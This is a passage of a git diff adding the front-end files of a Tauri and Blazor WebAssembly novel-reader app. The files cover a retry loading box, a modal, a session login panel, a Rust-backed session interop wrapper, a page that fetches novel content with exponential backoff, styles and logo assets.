public Action? RetryNow { get; set; }
|
||||
|
||||
string LoadingTimeExpression { get; set; }
|
||||
Timer _timer;
|
||||
|
||||
private void UpdateLoadingTimeExpression(){
|
||||
if (!RetryIn.HasValue)
|
||||
return;
|
||||
var s = (RetryIn - DateTime.Now)!.Value.Duration();
|
||||
if (s.Minutes > 0)
|
||||
LoadingTimeExpression = $"{s.Minutes} minutes";
|
||||
else if (s.Seconds > 0)
|
||||
LoadingTimeExpression = $"{s.Seconds} seconds";
|
||||
else if (s.Milliseconds > 0)
|
||||
LoadingTimeExpression = $"{s.Milliseconds}ms";
|
||||
else
|
||||
LoadingTimeExpression = $"{s}";
|
||||
}
|
||||
|
||||
DateTime? _lastRetryIn;
|
||||
DateTime? _startingTime;
|
||||
|
||||
protected override Task OnParametersSetAsync() {
|
||||
if (RetryIn != _lastRetryIn) {
|
||||
_startingTime = DateTime.Now;
|
||||
}
|
||||
|
||||
_lastRetryIn = RetryIn;
|
||||
return base.OnParametersSetAsync();
|
||||
}
|
||||
|
||||
protected override Task OnInitializedAsync() {
|
||||
_timer = new Timer(static (s) => {
|
||||
var comp = s as LoadingBox;
|
||||
comp.InvokeAsync(() => {
|
||||
comp.UpdateLoadingTimeExpression();
|
||||
comp.StateHasChanged();
|
||||
});
|
||||
}, this, 400, 300);
|
||||
return base.OnInitializedAsync();
|
||||
}
|
||||
|
||||
private void InvokeRetryNow() {
|
||||
if (RetryNow is not null) RetryNow();
|
||||
}
|
||||
|
||||
public void Dispose() {
|
||||
_timer?.Dispose();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
|
||||
<div @onclick="CloseModal" class='backdrop'/>
|
||||
<div class='modal-component'>
|
||||
@ChildContent
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.modal-component {
|
||||
display: @(_isVisible ? "block" : "none");
|
||||
@* opacity: @(_isVisible ? 1 : 0); *@
|
||||
position: fixed;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
translate: -50% -50%;
|
||||
outline: 1px solid var(--primary-outline);
|
||||
background: var(--primary-background);
|
||||
color: var(--primary);
|
||||
box-shadow: 4px 4px 2px black;
|
||||
border-radius: 8px;
|
||||
padding: 1rem;
|
||||
}
|
||||
.backdrop {
|
||||
display: @(_isVisible ? "block" : "none");
|
||||
@* opacity: @(_isVisible ? 1 : 0); *@
|
||||
|
||||
background-color: rgba(0,0,0,30%);
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
overflow: hidden;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
|
||||
backdrop-filter: blur(@(_isVisible ? 0 : 1)px);
|
||||
|
||||
transition: all;
|
||||
}
|
||||
</style>
|
||||
|
||||
@code {
|
||||
[Parameter]
|
||||
public RenderFragment? ChildContent { get; set; }
|
||||
|
||||
bool _isVisible = false;
|
||||
|
||||
public void CloseModal() {
|
||||
_isVisible = false;
|
||||
StateHasChanged();
|
||||
}
|
||||
|
||||
public void OpenModal() {
|
||||
_isVisible = true;
|
||||
StateHasChanged();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
@inject SessionInterop sessionInterop
|
||||
|
||||
|
||||
<div>
|
||||
<h3>Manage your Session</h3>
|
||||
@if (_isLoggedIn) {
|
||||
<p>You are not logged in.</p>
|
||||
<form>
|
||||
<input id="username"/>
|
||||
<input id="password"/>
|
||||
<button>Login</button>
|
||||
</form>
|
||||
} else {
|
||||
<p>You are currently logged in.</p>
|
||||
<button @onclick="sessionInterop.LogoutAsync">Logout</button>
|
||||
}
|
||||
</div>
|
||||
<style>
|
||||
|
||||
</style>
|
||||
|
||||
@code {
|
||||
bool _isLoggedIn = false;
|
||||
|
||||
protected override async Task OnInitializedAsync() {
|
||||
_isLoggedIn = await sessionInterop.IsLoggedInAsync();
|
||||
await base.OnInitializedAsync();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
using System.Text.Json;
|
||||
using System.Text.Json.Serialization;
|
||||
using Microsoft.JSInterop;
|
||||
|
||||
namespace Aeqw89Literarium; // adjust to your project's namespace
|
||||
|
||||
/// <summary>
|
||||
/// Blazor-side wrapper over the Tauri <c>session.rs</c> commands.
|
||||
///
|
||||
/// The session token never crosses into the webview: these methods hand
|
||||
/// usernames/passwords/URLs to Rust and get back response *data* (or a
|
||||
/// success/failure result), but never the token itself.
|
||||
///
|
||||
/// Register as a singleton (Blazor WebAssembly) — IJSRuntime is itself a
|
||||
/// singleton there:
|
||||
/// builder.Services.AddSingleton<SessionInterop>();
|
||||
/// (Use AddScoped under Blazor Server.)
|
||||
///
|
||||
/// Requires "withGlobalTauri": true under `app` in tauri.conf.json, so that
|
||||
/// `window.__TAURI__` exists in the webview.
|
||||
/// </summary>
|
||||
public sealed class SessionInterop(IJSRuntime js)
|
||||
{
|
||||
// Tauri v2 exposes invoke at window.__TAURI__.core.invoke (v1 was .invoke).
|
||||
private const string Invoke = "window.__TAURI__.core.invoke";
|
||||
|
||||
private static readonly JsonSerializerOptions JsonOptions =
|
||||
new(JsonSerializerDefaults.Web);
|
||||
|
||||
/// <summary>
|
||||
/// True iff a token is stored and the server confirms it at /session/verify.
|
||||
/// No token, a 403, a network failure, or running outside Tauri all read as
|
||||
/// false — so this is safe to call unconditionally on startup.
|
||||
/// </summary>
|
||||
public async Task<bool> IsLoggedInAsync()
|
||||
{
|
||||
try
|
||||
{
|
||||
return await js.InvokeAsync<bool>(Invoke, "isLoggedIn");
|
||||
}
|
||||
catch (JSException)
|
||||
{
|
||||
// window.__TAURI__ missing (e.g. dev in a plain browser) → logged out.
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// GET the given URI with the session cookie attached by Rust. The returned
|
||||
/// <see cref="HttpResponse"/> carries the server's status and body verbatim:
|
||||
/// an HTTP error such as 403 comes back here as data (Status == 403), it does
|
||||
/// NOT throw. Only transport-level problems (bad URL, disallowed host,
|
||||
/// connection failure) throw a <see cref="JSException"/>.
|
||||
/// </summary>
|
||||
public Task<HttpResponse> SendGetAsync(string uri) =>
|
||||
js.InvokeAsync<HttpResponse>(Invoke, "sendGet", new { uri }).AsTask();
|
||||
|
||||
/// <summary>
|
||||
/// POST a pre-serialized JSON string body to the given URI.
|
||||
/// </summary>
|
||||
public Task<HttpResponse> SendPostAsync(string uri, string body) =>
|
||||
js.InvokeAsync<HttpResponse>(Invoke, "sendPost", new { uri, body }).AsTask();
|
||||
|
||||
/// <summary>
|
||||
/// Convenience overload: serialize <paramref name="payload"/> to JSON and POST it.
|
||||
/// </summary>
|
||||
public Task<HttpResponse> SendPostAsync<T>(string uri, T payload) =>
|
||||
SendPostAsync(uri, JsonSerializer.Serialize(payload, JsonOptions));
|
||||
|
||||
/// <summary>
|
||||
/// Authenticate. On success the token is captured and stored by Rust (never
|
||||
/// returned here); on failure the result carries the server's message.
|
||||
/// <paramref name="captcha"/> is the h-captcha-response token produced by the
|
||||
/// hCaptcha widget rendered in the webview.
|
||||
/// </summary>
|
||||
public async Task<SignInResult> SignInAsync(string username, string password, string captcha)
|
||||
{
|
||||
try
|
||||
{
|
||||
await js.InvokeVoidAsync(Invoke, "signIn",
|
||||
new { username, password, captcha });
|
||||
return SignInResult.Ok();
|
||||
}
|
||||
catch (JSException ex)
|
||||
{
|
||||
// Tauri rejects the promise with the Rust Err string
|
||||
// (e.g. "Username or password incorrect." or a captcha failure).
|
||||
return SignInResult.Fail(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Forget the session locally (keychain + in-memory copy on the Rust side).
|
||||
/// </summary>
|
||||
public async Task LogoutAsync()
|
||||
{
|
||||
try
|
||||
{
|
||||
await js.InvokeVoidAsync(Invoke, "logout");
|
||||
}
|
||||
catch (JSException)
|
||||
{
|
||||
// Already cleared or unavailable — nothing actionable to surface.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Mirror of the Rust <c>HttpResponse</c> { status, body }.</summary>
|
||||
public sealed class HttpResponse
|
||||
{
|
||||
[JsonPropertyName("status")]
|
||||
public int Status { get; set; }
|
||||
|
||||
[JsonPropertyName("body")]
|
||||
public string Body { get; set; } = "";
|
||||
|
||||
public bool IsSuccess => Status is >= 200 and < 300;
|
||||
|
||||
/// <summary>Deserialize <see cref="Body"/> as JSON into <typeparamref name="T"/>.</summary>
|
||||
public T? ReadJson<T>() =>
|
||||
string.IsNullOrEmpty(Body)
|
||||
? default
|
||||
: JsonSerializer.Deserialize<T>(Body, new JsonSerializerOptions(JsonSerializerDefaults.Web));
|
||||
}
|
||||
|
||||
/// <summary>Outcome of a sign-in attempt, mirroring the server's failed/message shape.</summary>
|
||||
public sealed record SignInResult(bool Success, string? Message)
|
||||
{
|
||||
public static SignInResult Ok() => new(true, null);
|
||||
public static SignInResult Fail(string message) => new(false, message);
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
@page "/home"
|
||||
@inject IJSRuntime JsRuntime
|
||||
|
||||
<main class="container">
|
||||
<h1>Welcome to Tauri + Blazor</h1>
|
||||
|
||||
<div class="row">
|
||||
<a href="https://tauri.app" target="_blank">
|
||||
<img src="img/tauri.svg" class="logo tauri" alt="Tauri logo"/>
|
||||
</a>
|
||||
<a href="https://dotnet.microsoft.com/en-us/apps/aspnet/web-apps/blazor" target="_blank">
|
||||
<img src="img/blazor.svg" class="logo blazor" alt="Blazor logo"/>
|
||||
</a>
|
||||
</div>
|
||||
<p>Click on the Tauri and Blazor logos to learn more.</p>
|
||||
|
||||
<form class="row" @onsubmit="GreetAsync" @onsubmit:preventDefault="true">
|
||||
<input id="greet-input" placeholder="Enter a name..." @bind="GreetInput"/>
|
||||
<button type="submit">Greet</button>
|
||||
</form>
|
||||
<p>@GreetMsg</p>
|
||||
</main>
|
||||
|
||||
@code
|
||||
{
|
||||
private string? GreetInput { get; set; }
|
||||
|
||||
private string? GreetMsg { get; set; }
|
||||
|
||||
private async Task GreetAsync()
|
||||
{
|
||||
GreetMsg = await JsRuntime.InvokeAsync<string>("__TAURI__.core.invoke", "greet", new { name = GreetInput });
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
@page "/"
|
||||
@inject NavigationManager navigationManager
|
||||
@inject IJSRuntime JS
|
||||
@using Aeqw89Literarium.Components
|
||||
|
||||
|
||||
<div class='relative'>
|
||||
<button @onclick="NavigateToTestNovel">Go to Test Novel</button>
|
||||
<button @onclick="openSessionModal">Test button</button>
|
||||
<Modal @ref="sessionModal">
|
||||
<Session/>
|
||||
</Modal>
|
||||
</div>
|
||||
|
||||
<script lang="ts">
|
||||
|
||||
</script>
|
||||
|
||||
@code {
|
||||
|
||||
Modal? sessionModal;
|
||||
|
||||
public void NavigateToTestNovel() {
|
||||
navigationManager.NavigateTo("/0");
|
||||
}
|
||||
|
||||
void openSessionModal() {
|
||||
sessionModal!.OpenModal();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
@page "/{id}"
|
||||
@inject ILogger<NovelView> Logger
|
||||
@inject HttpClient Client
|
||||
@using Aeqw89Literarium.Components
|
||||
@inject IJSRuntime JS
|
||||
|
||||
<div class="main-container">
|
||||
<nav></nav>
|
||||
<div class="interactables-container">
|
||||
<div><!-- Display Settings Drawer --></div>
|
||||
<div><!-- Playback Controls --></div>
|
||||
<div>
|
||||
<!-- Simple Buttons-->
|
||||
<div><!-- Scroll to End / Beginning buttons --></div>
|
||||
<div><!-- Close Novel button --></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="content">
|
||||
@if (IsContentReady) {
|
||||
<Content/>
|
||||
} else {
|
||||
<span class="loading-box-container">
|
||||
<LoadingBox RetryIn=@FetchContentRetry?.RetryIn RetryNow=@FetchContentRetry?.RetryNow/>
|
||||
</span>
|
||||
}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.main-container {
|
||||
--content-margin: 120rem;
|
||||
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.loading-box-container {
|
||||
display: contents;
|
||||
}
|
||||
|
||||
.loading-box-container * {
|
||||
|
||||
}
|
||||
|
||||
.content {
|
||||
min-width: 60vh;
|
||||
width: auto;
|
||||
max-width: var(--content-margin);
|
||||
min-height: 90vh;
|
||||
height: 100%;
|
||||
margin-inline: auto;
|
||||
display: flex;
|
||||
}
|
||||
</style>
|
||||
|
||||
@code {
|
||||
[Parameter]
|
||||
public string? Id { get; set; }
|
||||
|
||||
[Parameter]
|
||||
public int From { get; set; }
|
||||
[Parameter]
|
||||
public int To { get; set; }
|
||||
|
||||
public bool IsContentReady { get; set; } = false;
|
||||
Retry? FetchContentRetry { get; set; } = null;
|
||||
|
||||
protected override async Task OnParametersSetAsync() {
|
||||
base.OnParametersSet();
|
||||
|
||||
int tries = 0;
|
||||
while (!await FetchContentAsync()){
|
||||
tries++;
|
||||
var cts = new CancellationTokenSource();
|
||||
var waitTime = Math.Min(Math.Pow(2, tries) * 1000, 1000 * 60 * 5);
|
||||
FetchContentRetry = new Retry(
|
||||
DateTime.Now.AddMilliseconds(waitTime),
|
||||
() => cts.Cancel());
|
||||
StateHasChanged();
|
||||
try {
|
||||
while ((FetchContentRetry.RetryIn - DateTime.Now).Ticks > 0)
|
||||
await Task.Delay(50, cts.Token);
|
||||
} catch (TaskCanceledException) {}
|
||||
FetchContentRetry = null;
|
||||
StateHasChanged();
|
||||
@* await JS.InvokeVoidAsync("alert", tries); *@
|
||||
}
|
||||
|
||||
FetchContentRetry = null;
|
||||
IsContentReady = true;
|
||||
}
|
||||
|
||||
async Task<bool> FetchContentAsync() {
|
||||
const string BaseURI = "https://main.qwsdcvghyu.com/novels/read/api/";
|
||||
HttpRequestMessage httpRequestMessage = new(
|
||||
HttpMethod.Get,
|
||||
BaseURI + $"{Id}?r={From},{To}&f=json");
|
||||
|
||||
HttpResponseMessage response;
|
||||
try {
|
||||
response = await Client.SendAsync(httpRequestMessage);
|
||||
} catch(Exception e) {
|
||||
Logger.LogError(e, null);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (response is null) return false;
|
||||
if (!response.IsSuccessStatusCode) return false;
|
||||
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
record Retry(DateTime RetryIn, Action RetryNow);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using Microsoft.AspNetCore.Components.Web;
|
||||
using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
|
||||
using Aeqw89Literarium;
|
||||
|
||||
var builder = WebAssemblyHostBuilder.CreateDefault(args);
|
||||
builder.RootComponents.Add<App>("#app");
|
||||
builder.RootComponents.Add<HeadOutlet>("head::after");
|
||||
|
||||
builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
|
||||
builder.Services.AddSingleton<SessionInterop>();
|
||||
|
||||
await builder.Build().RunAsync();
|
||||
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/launchsettings.json",
|
||||
"profiles": {
|
||||
"http": {
|
||||
"commandName": "Project",
|
||||
"dotnetRunMessages": true,
|
||||
"launchBrowser": false,
|
||||
"inspectUri": "{wsProtocol}://{url.hostname}:{url.port}/_framework/debug/ws-proxy?browser={browserInspectUri}",
|
||||
"applicationUrl": "http://localhost:1420",
|
||||
"environmentVariables": {
|
||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
@using System.Net.Http
|
||||
@using System.Net.Http.Json
|
||||
@using Microsoft.AspNetCore.Components.Forms
|
||||
@using Microsoft.AspNetCore.Components.Routing
|
||||
@using Microsoft.AspNetCore.Components.Web
|
||||
@using Microsoft.AspNetCore.Components.Web.Virtualization
|
||||
@using Microsoft.AspNetCore.Components.WebAssembly.Http
|
||||
@using Microsoft.JSInterop
|
||||
@using Aeqw89Literarium
|
||||
@@ -0,0 +1,80 @@
|
||||
:root {
|
||||
--primary: #D4D6B9;
|
||||
--primary-dark: #66717E;
|
||||
--primary-outline: #D1CAA1;
|
||||
--primary-background: #32213A;
|
||||
--secondary: #383B53;
|
||||
|
||||
--primary-font: Ebrima;
|
||||
|
||||
--gradient-cool: linear-gradient(
|
||||
70deg,
|
||||
var(--secondary) 0 65%,
|
||||
var(--primary) 65% 75%,
|
||||
var(--secondary) 75% 100%
|
||||
);
|
||||
|
||||
--gradient-colorful: linear-gradient(
|
||||
70deg,
|
||||
var(--secondary) 0 30%,
|
||||
var(--primary-dark) 30% 65%
|
||||
var(--primary) 65% 75%,
|
||||
var(--primary-outline) 75% 90%
|
||||
var(--secondary) 90% 100%
|
||||
);
|
||||
}
|
||||
|
||||
html {
|
||||
background-color: var(--primary-background);
|
||||
|
||||
font-family: var(--primary-font);
|
||||
}
|
||||
|
||||
button {
|
||||
min-height: 1.5rem;
|
||||
min-width: 3rem;
|
||||
background-color: var(--primary-dark);
|
||||
outline: 0;
|
||||
border: 0;
|
||||
border-radius: 4px;
|
||||
font-family: var(--primary-font);
|
||||
color: var(--primary);
|
||||
letter-spacing: 2px;
|
||||
text-transform: uppercase;
|
||||
text-shadow: 1px 1px 1px #32213A;
|
||||
transition: all;
|
||||
transition-duration: 50ms;
|
||||
}
|
||||
|
||||
button:active {
|
||||
transform: scale(90%);
|
||||
background-color: rgba(0,0,0,0);
|
||||
}
|
||||
|
||||
button:focus {
|
||||
outline: 1px solid var(--primary-outline);
|
||||
}
|
||||
|
||||
.ma {
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.outlined {
|
||||
outline: 1px solid var(--primary-outline);
|
||||
}
|
||||
|
||||
.modal {
|
||||
background-color: #32213A;
|
||||
box-shadow: 2px 2px;
|
||||
}
|
||||
|
||||
.relative {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.force-center {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
translate: -50%, -50%;
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" viewBox="0 0 2000 1808"><path fill="#5C2D91" d="M1986.1,579c-43.2,271.1-181.2,518-389.4,696.9-208.2,178.9-473,278.1-747.5,280-55.6,2.1-111.3-1.2-166.2-10.1-236.7-40.2-413.2-240.3-423.5-480.2,1.1-129.8,53.2-254,145.1-345.8,191.1-190.9,500.1-193.1,693.9-4.9,93.2,90.4,147,213.9,150,343.7,2.1,82-33.4,153.9-106.4,156-78,0-114.5-55.7-114.5-130.6v-208.4c0-70.1-56.5-127.2-126.6-127.8h-174.7c-103.2-.7-199.8,51-256.4,137.4-92.1,140.5-52.8,329,87.6,421,36.1,23.6,76.8,39.3,119.4,46.1,102,16,205.1-20.8,273.9-97.7l6.1-9.1,6.1,10.1c42.7,58,111.5,90.8,183.4,87.4,131.2-9.5,230.9-122,224.6-253.4.6-54.2-5.5-108.3-18.1-161.1-32.4-149-118.8-280.7-242.5-369.8-256.3-184.5-610.4-145.7-820.7,89.9-101.5,113.7-157.4,261.1-156.8,413.5,1.9,161.7,66.5,316.3,180,431.4,113.5,115.1,267.3,181.7,428.9,185.8,0,0,45.7,4.2,97.3,3,250.7-1.6,495.7-74.7,706.2-210.7,3-2.1,6,2.1,4,5.1-207.5,223.5-502.9,344.4-807.5,330.3-198.8,3.6-390.5-74.2-530.5-215.4C71.3,1450.2-5,1257.9.3,1059.1c0-237.9,112.4-461.7,302.9-604.1,126.3-93,278.9-143.4,435.8-143.9h234.4c185.1-.1,361.7-78.1,486.5-214.9,1.3-1.4,3-2.4,4.9-2.8,3.9-.8,7.9.9,10,4.3,1,1.7,1.5,3.6,1.3,5.6-9.9,105.4-45,206.8-102.3,295.8-1.7,3.2-1.4,7,.8,9.9,2.2,2.9,5.8,4.2,9.3,3.3,219.4-49.6,402.3-200.4,492.8-406.4,1.1-1.8,2.7-3.3,4.6-4.4,3.8-2.1,8.4-2.1,12.2,0,1.9,1.1,3.4,2.6,4.5,4.4,91.9,176,122.9,377.5,88.1,573h0ZM741.3,872.7c-100.7,0-182.3,82-182.4,182.7,0,12,1.2,23.9,3.5,35.6,14.4,72.3,70.9,128.9,143.3,143.3,98.8,19.6,194.8-44.5,214.4-143.3,2.3-11.7,3.5-23.7,3.5-35.6v-170.3c-.3-6.7-5.7-12.1-12.5-12.5h-169.8Z"/></svg>
|
||||
|
After Width: | Height: | Size: 1.6 KiB |
@@ -0,0 +1,6 @@
|
||||
<svg width="206" height="231" viewBox="0 0 206 231" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M143.143 84C143.143 96.1503 133.293 106 121.143 106C108.992 106 99.1426 96.1503 99.1426 84C99.1426 71.8497 108.992 62 121.143 62C133.293 62 143.143 71.8497 143.143 84Z" fill="#FFC131"/>
|
||||
<ellipse cx="84.1426" cy="147" rx="22" ry="22" transform="rotate(180 84.1426 147)" fill="#24C8DB"/>
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M166.738 154.548C157.86 160.286 148.023 164.269 137.757 166.341C139.858 160.282 141 153.774 141 147C141 144.543 140.85 142.121 140.558 139.743C144.975 138.204 149.215 136.139 153.183 133.575C162.73 127.404 170.292 118.608 174.961 108.244C179.63 97.8797 181.207 86.3876 179.502 75.1487C177.798 63.9098 172.884 53.4021 165.352 44.8883C157.82 36.3744 147.99 30.2165 137.042 27.1546C126.095 24.0926 114.496 24.2568 103.64 27.6274C92.7839 30.998 83.1319 37.4317 75.8437 46.1553C74.9102 47.2727 74.0206 48.4216 73.176 49.5993C61.9292 50.8488 51.0363 54.0318 40.9629 58.9556C44.2417 48.4586 49.5653 38.6591 56.679 30.1442C67.0505 17.7298 80.7861 8.57426 96.2354 3.77762C111.685 -1.01901 128.19 -1.25267 143.769 3.10474C159.348 7.46215 173.337 16.2252 184.056 28.3411C194.775 40.457 201.767 55.4101 204.193 71.404C206.619 87.3978 204.374 103.752 197.73 118.501C191.086 133.25 180.324 145.767 166.738 154.548ZM41.9631 74.275L62.5557 76.8042C63.0459 72.813 63.9401 68.9018 65.2138 65.1274C57.0465 67.0016 49.2088 70.087 41.9631 74.275Z" fill="#FFC131"/>
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M38.4045 76.4519C47.3493 70.6709 57.2677 66.6712 67.6171 64.6132C65.2774 70.9669 64 77.8343 64 85.0001C64 87.1434 64.1143 89.26 64.3371 91.3442C60.0093 92.8732 55.8533 94.9092 51.9599 97.4256C42.4128 103.596 34.8505 112.392 30.1816 122.756C25.5126 133.12 23.9357 144.612 25.6403 155.851C27.3449 167.09 32.2584 177.598 39.7906 186.112C47.3227 194.626 57.153 200.784 68.1003 203.846C79.0476 206.907 90.6462 206.743 101.502 203.373C112.359 200.002 122.011 193.568 129.299 184.845C130.237 183.722 131.131 182.567 131.979 181.383C143.235 180.114 154.132 176.91 164.205 171.962C160.929 182.49 155.596 192.319 148.464 200.856C138.092 213.27 124.357 222.426 108.907 227.222C93.458 232.019 76.9524 232.253 61.3736 227.895C45.7948 223.538 31.8055 214.775 21.0867 202.659C10.3679 190.543 3.37557 175.59 0.949823 159.596C-1.47592 143.602 0.768139 127.248 7.41237 112.499C14.0566 97.7497 24.8183 85.2327 38.4045 76.4519ZM163.062 156.711L163.062 156.711C162.954 156.773 162.846 156.835 162.738 156.897C162.846 156.835 162.954 156.773 163.062 156.711Z" fill="#24C8DB"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 2.5 KiB |
@@ -0,0 +1,15 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Tauri + Blazor</title>
|
||||
<base href="/" />
|
||||
<link rel="stylesheet" href="css/app.css" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script src="_framework/blazor.webassembly.js"></script>
|
||||
</body>
|
||||
</html>
|
||||